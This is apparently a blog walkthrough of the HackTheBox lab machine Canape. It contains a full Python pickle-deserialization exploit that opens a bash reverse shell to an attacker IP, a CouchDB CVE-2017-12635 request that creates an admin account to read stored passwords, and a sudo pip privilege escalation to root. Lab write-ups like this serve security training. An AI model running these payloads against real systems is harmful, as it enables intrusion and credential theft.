Post

HTB Canape Writeup

HTB Canape Writeup

Introduction

This is a medium Linux machine on HackTheBox. Given an IP we want to create a root shell with full admin rights

htb-canape-pwn

Enumeration

Port Scan

Let’s find out what services are accessible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
┌──(kali@kali)-[~/canape.htb]
└─$ rustscan --accessible -a 10.10.10.70 -- -A -sC    
Automatically increasing ulimit value to 5000.
Open 10.10.10.70:80
Open 10.10.10.70:65535
Starting Script(s)
Running script "nmap -vvv -p   -A -sC" on ip 10.10.10.70
# ...
map scan report for canape.htb (10.10.10.70)
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2025-09-30 23:57:47 EDT for 19s

PORT      STATE SERVICE REASON         VERSION
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 82AD534347962CBEB7F553057B41C95E
| http-git: 
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
65535/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDroCKFvZBROo3eo64hlNjhERjTLQmRgbCaDGhoWgs6qf9AfuTfS7LMX82ayuBjV0OHbk6Saf3SKwyLFfyLKj/mo8yGNpGjsZQ9uiN6hlpO39oQyjo9dy5DUfAabcoq82ugii982GWeHlTShQJAhAsG+7Uov2mUbO3YkKph/PBEv3uuAnNebhxlk9eg01yuHkk+8iyP6+Qp9ZzAVZsXpSuoH0raBA7VOIlYnm4Wti1AHy3VUtvmrB4KwZQT8Q3ZyMbufWFZlDB0N0/cEvyXF0kKwRIT1hNjp4HUNo0dwcDOWuwvrWVUpH3/q8VXkZRN3fL2gHsIsfuh+AyThM14hf/h
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLX3HkUlvdwKR+Ijy9ChJwvV7ILAPCEver9hmIr546JbveSJNyvOiq6y3YxfQu3IXomvonySAU10Fo8wVQ7kxWk=
|   256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJvWPxb1XOvko0SIhYrC5TYyQpU8tugg1qirZdtt3CXX
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.95%E=4%D=9/30%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=68DCA6CE%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=10E%TI=Z%II=I%TS=A)
SEQ(SP=107%GCD=1%ISR=10E%TI=Z%II=I%TS=A)
OPS(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST11NW7%O6=M552ST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%TG=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 10.414 days (since Sat Sep 20 14:01:19 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 65535/tcp)
HOP RTT      ADDRESS
1   86.46 ms 10.10.14.1
2   86.53 ms canape.htb (10.10.10.70)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:58
Completed NSE at 23:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:58
Completed NSE at 23:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:58
Completed NSE at 23:58, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.22 seconds
           Raw packets sent: 90 (7.628KB) | Rcvd: 1567 (1.366MB)

Add the domain to our /etc/hosts file

1
<MACHINE_IP> canape.htb

Subdomains

We know there’s a git subdomain from our initial scan, but let’s check for others

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali@kali)-[~/canape.htb]
└─$ wfuzz -c -t 50 -u http://canape.htb -H 'Host: FUZZ.canape.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 237
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://canape.htb/
Total requests: 114442

=====================================================================
ID           Response   Lines    Word       Chars       Payload                       
=====================================================================

000000689:   400        10 L     35 W       302 Ch      "gc._msdcs"
000000262:   404        0 L      0 W        0 Ch        "git"
# ...

Total time: 284.9912
Processed Requests: 114442
Filtered Requests: 114420
Requests/sec.: 401.5632

Nothing else of interest. Add git to our /etc/hosts file

1
<MACHINE_IP> canape.htb git.canape.htb

Directories

Checking the page source we see a reference to a new endpoint

1
2
3
4
5
6
<!-- 
	c8a74a098a60aaea1af98945bd707a7eab0ff4b0 - temporarily hide check
	<li class="nav-item">
	<a class="nav-link" href="/check">Check Submission</a>
</li>
-->

This is also visible by brute forcing directories

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali@kali)-[~/canape.htb]
└─$ dirsearch -w /usr/share/wordlists/dirb/big.txt -r -f --threads=100 --url=canape.htb --output=dirsearch-ext.txt -e txt,php,html,js,md

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: txt, php, html, js, md | HTTP method: GET | Threads: 100 | Wordlist size: 143095

Output File: dirsearch-ext.txt

Target: http://canape.htb/

[23:58:10] Starting: 
[00:05:05] 403 -  275B  - /cgi-bin/
Added to the queue: cgi-bin/
[00:05:18] 405 -  178B  - /check

Visiting http://canape.htb/check tells us we can’t use a GET request

1
2
3
4
5
6
┌──(kali@kali)-[~/canape.htb]
└─$ curl http://canape.htb/check 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

Sending a POST request gets us closer but we need to find out the proper data

1
2
3
4
5
6
┌──(kali@kali)-[~/canape.htb]
└─$ curl -X POST http://canape.htb/check
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>

Rather than fuzz the proper parameters, let’s download the source code from the git repository

Source Code

Clone the repo to our machine

1
2
3
4
5
6
7
┌──(kali@kali)-[~/canape.htb]
└─$ git clone http://git.canape.htb/simpsons.git
Cloning into 'simpsons'...
remote: Counting objects: 49, done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 49 (delta 18), reused 0 (delta 0)
Unpacking objects: 100% (49/49), 163.16 KiB | 360.00 KiB/s, done.

The /check method will load pickle data when we give it an id

1
2
3
4
5
6
7
8
9
10
11
12
@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

The /submit endpoint will write user data into a file. If this data is in python2’s cPickle format, we have remote code execution with the /check endpoint!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

Initial Foothold

Python Deserialization

When we /submit a quote, the character and quote are pickled into a file. The /check endpoint will load our pickle data giving us code execution

By abusing the __reduce__() function we can create an object that triggers a reverse shell when deserialized/depickled

1
2
3
4
5
6
7
8
9
10
11
import cPickle, os

# malicious obj to deserialize
ATTACKER_IP = '10.10.14.17'
PORT = 4444
cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{}/{} 0>&1'".format(ATTACKER_IP, PORT)
class RCE(object):
	def __reduce__(self):
		return (os.system, (cmd,))

payload = cPickle.dumps(RCE())

To write this payload to a file, we’ll need to pass the character check in /submit. The character parameter needs to contain an approved name anywhere in the string!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]
# ...
try:
	char = request.form["character"]
	quote = request.form["quote"]
	if not char or not quote:
		error = True
	elif not any(c.lower() in char.lower() for c in WHITELIST):
		error = True
	else:
		# TODO - Pickle into dictionary instead, `check` is ready
		p_id = md5(char + quote).hexdigest()
		outfile = open("/tmp/" + p_id + ".p", "wb")
		outfile.write(char + quote)
		outfile.close()
		success = True
except Exception as ex:
	error = True

Placing the character’s name anywhere in our command will pass the check

Here’s the final exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import cPickle, os
from hashlib import md5
import requests

# malicious obj to deserialize
ATTACKER_IP = '10.10.14.17'
PORT = 4444
character = 'homer'
cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/{}/{} 0>&1';#{};".format(ATTACKER_IP, PORT, character)
class RCE(object):
	def __reduce__(self):
		return (os.system, (cmd,))

payload = cPickle.dumps(RCE())
char = payload[:-1]
quote = payload[-1:]

payload_id = md5(char + quote).hexdigest()
submit_data = {'character': char, 'quote': quote}
check_data = {'id': payload_id}

# profit
base_url = 'http://canape.htb'
requests.post('{}/submit'.format(base_url), data=submit_data)
requests.post('{}/check'.format(base_url), data=check_data)

It’s important to create our payload in python2 so cPickle matches with the server! Running it gives a foothold onto the server

1
2
┌──(kali@kali)-[~/canape.htb]
└─$ python2 exploit.py 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali@kali)-[~/canape.htb]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.70] 55672
bash: cannot set terminal process group (1014): Inappropriate ioctl for device
bash: no job control in this shell
www-data@canape:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@canape:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
zsh: suspended  nc -lvnp 4444

┌──(kali@kali)-[~/canape.htb]
└─$ stty raw -echo && fg
[1]  + continued  nc -lvnp 4444
www-data@canape:/$ 

user.txt

Enumerating other users on the machine our next target is homer

1
2
3
www-data@canape:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
homer:x:1000:1000:homer,,,:/home/homer:/bin/bash

CouchDB

Looking back at the source we see couchdb is running on port 5984

1
2
3
4
5
6
# ...
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
# ...

We can query it to get the version information

1
2
www-data@canape:/tmp$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

There are a number of endpoints we can get data from

1
2
3
4
www-data@canape:/tmp$ curl localhost:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
www-data@canape:/tmp$ curl localhost:5984/passwords 
{"error":"unauthorized","reason":"You are not authorized to access this db."}

We’ll need elevated privileges to access the passwords database. Luckily couchdb version 2.0.0 is vulnerable to CVE-2017-12635 where anyone can create an admin user

1
2
www-data@canape:/tmp$ curl -X PUT localhost:5984/_users/org.couchdb.user:dasian -H "Content-Type:application/json" -d '{"type":"user","name":"dasian","roles":["_admin"],"roles":[],"password":"dasian"}' 
{"ok":true,"id":"org.couchdb.user:dasian","rev":"1-87fc8176cbc2945d29ef54729729461e"}

Now can access the passwords database with the admin credentials dasian:dasian

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@canape:/tmp$ curl dasian:dasian@localhost:5984/passwords
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}

www-data@canape:/tmp$ curl dasian:dasian@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}

www-data@canape:/tmp$ curl dasian:dasian@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"<PASSWORD_REDACTED>","user":""}

Using this ssh password for the homer user we can login and grab the user.txt flag! Remember from our scan that ssh is on port 65535

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali@kali)-[~/canape.htb]
└─$ ssh homer@canape.htb -p 65535
The authenticity of host '[canape.htb]:65535 ([10.10.10.70]:65535)' can't be established.
ED25519 key fingerprint is SHA256:fnOGcxmSP9f1PLBisr/nYMZP1ilGixOYS2kCQnYynxc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[canape.htb]:65535' (ED25519) to the list of known hosts.
homer@canape.htb's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Nov 23 07:33:11 2023 from 10.10.14.23
homer@canape:~$ id
uid=1000(homer) gid=1000(homer) groups=1000(homer)
homer@canape:~$ cat user.txt 

htb-canape-user-txt

root.txt

Checking homer’s sudo privileges we can run pip as root

1
2
3
4
5
6
7
8
homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

GTFO Bin

pip has a GTFObin entry when used with sudo, so we can immediately trigger a root shell and grab the root.txt flag!

1
2
3
4
5
6
7
8
9
homer@canape:~$ TF=$(mktemp -d)
homer@canape:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
homer@canape:~$ sudo pip install $TF
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /tmp/tmp.wvmB8pU3f6
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

htb-canape-root-txt

Recap

Through our port scan and by brute forcing we find a git subdomain where we can download the source code of the website. Inspecting the /check and /submit source, we’re able to upload a malicious pickle file that will execute arbitrary code when deserialized. Writing a deserialization exploit script gives us a foothold onto the server!

The server is running an outdated version of CouchDB where any user can create an admin account. We’re able to read the passwords database and leak homer’s ssh credentials, giving us access to user.txt!

homer can run pip as root. Leveraging the corresponding GTFO-Bin entry, we can pop a root shell and grab root.txt!

This post is licensed under CC BY 4.0 by the author.